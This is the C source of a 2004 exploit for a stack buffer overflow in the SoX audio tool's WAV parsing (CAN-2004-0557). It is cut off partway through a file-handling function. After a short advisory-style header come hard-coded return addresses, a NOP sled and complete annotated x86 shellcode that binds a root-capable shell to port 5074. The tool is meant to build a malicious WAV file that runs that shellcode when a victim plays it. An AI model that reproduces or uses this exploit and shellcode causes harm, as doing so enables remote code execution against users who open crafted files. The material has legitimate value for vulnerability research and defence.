/*
                Copyright © Rosiello Security 2004
                                     www rosiello org


CVE Reference:  CAN-2004-0557
Bug Type: Stack Overflow
Date: 01/08/2004


Ulf Harnhammar reported that there are two buffer overflows in the 'sox' and 'play' commands.
The flaws reside in the st_wavstartread() function in 'wav.c', where the function reads data
based on a user-supplied size variable into a buffer without checking to see if the specified
amount of data will fit into the buffer.

The report indicates that older versions, including 12.17.1, 12.17 and 12.16, are not affected.

Vendors were reportedly notified on July 18, 2004.
Impact:  A remote user can create a WAV file that, when processed by the target user, will
execute arbitrary code on the target system with the privileges of the SoX process.
Solution:  No vendor solution was available at the time of this entry.

**************************************************************************
!!! DO NOT USE THIS SOFTWARE TO BREAK THE LAW !!!

This exploit will create a malevolent .wav file that will execute the shellcode (it's a
port_bind() opening the port 5074) Example:
$./sox-exploiter laser.wav malevolent.wav 0
When you play the file malevolent.wav the shellcode is executed.

AUTHOR: rave --> rave rosiello org
AUTHOR: Angelo Rosiello --> angelo rosiello org
WEB   : http://www.rosiello.org
*/


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 
#include 
#include 

 /* used for stating */
#include 
#include 

/* used for mmap */
#include 

/* perror() */
#include 

/* strstr */
#include 


enum { suse, redhat, slackware };


struct tr
{
  char *OS;
  unsigned long ret;
  } target [] = {

     "SuSe 9.1 Pro",
     0xbfffe9f0,


     "Redhat 9.1",
     0x41414141
   };

signed char
shellcode[]=
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

/*
 * s0t4ipv6 Shellcode com ar
 * x86 portbind a shell in port 5074
 * 92 bytes.
 */

"\x31\xc0"                    // xorl         %eax,%eax
"\x50"                                // pushl        %eax
"\x40"                                // incl         %eax
"\x89\xc3"                    // movl         %eax,%ebx
"\x50"                                // pushl        %eax
"\x40"                                // incl         %eax
"\x50"                                // pushl        %eax
"\x89\xe1"                    // movl         %esp,%ecx
"\xb0\x66"                    // movb         $0x66,%al
"\xcd\x80"                    // int          $0x80
"\x31\xd2"                    // xorl         %edx,%edx
"\x52"                                // pushl        %edx
"\x66\x68\x13\xd2"            // pushw        $0xd213
"\x43"                                // incl         %ebx
"\x66\x53"                    // pushw        %bx
"\x89\xe1"                    // movl         %esp,%ecx
"\x6a\x10"                    // pushl        $0x10
"\x51"                                // pushl        %ecx
"\x50"                                // pushl        %eax
"\x89\xe1"                    // movl         %esp,%ecx
"\xb0\x66"                    // movb         $0x66,%al
"\xcd\x80"                    // int          $0x80
"\x40"                                // incl         %eax
"\x89\x44\x24\x04"            // movl         %eax,0x4(%esp,1)
"\x43"                                // incl         %ebx
"\x43"                                // incl         %ebx
"\xb0\x66"                    // movb         $0x66,%al
"\xcd\x80"                    // int          $0x80
"\x83\xc4\x0c"                        // addl         $0xc,%esp
"\x52"                                // pushl        %edx
"\x52"                                // pushl        %edx
"\x43"                                // incl         %ebx
"\xb0\x66"                    // movb         $0x66,%al
"\xcd\x80"                    // int          $0x80
"\x93"                                // xchgl        %eax,%ebx
"\x89\xd1"                    // movl         %edx,%ecx
"\xb0\x3f"                    // movb         $0x3f,%al
"\xcd\x80"                    // int          $0x80
"\x41"                                // incl         %ecx
"\x80\xf9\x03"                        // cmpb         $0x3,%cl
"\x75\xf6"                    // jnz          
"\x52"                                // pushl        %edx
"\x68\x6e\x2f\x73\x68"                // pushl        $0x68732f6e
"\x68\x2f\x2f\x62\x69"                // pushl        $0x69622f2f
"\x89\xe3"                    // movl         %esp,%ebx
"\x52"                                // pushl        %edx
"\x53"                                // pushl        %ebx
"\x89\xe1"                    // movl         %esp,%ecx
"\xb0\x0b"                    // movb         $0xb,%al
"\xcd\x80"                    // int          $0x80
;

signed long shelladdr =0xbfffe9f0;//0xbfffe9d8;//0xbffff3ea;

char *memap;
char *fs_io(char *filename, char *data, mode_t flags, long *size)
{
struct stat status;
int fd;

if ( data == NULL) {

if ( lstat (filename,&status)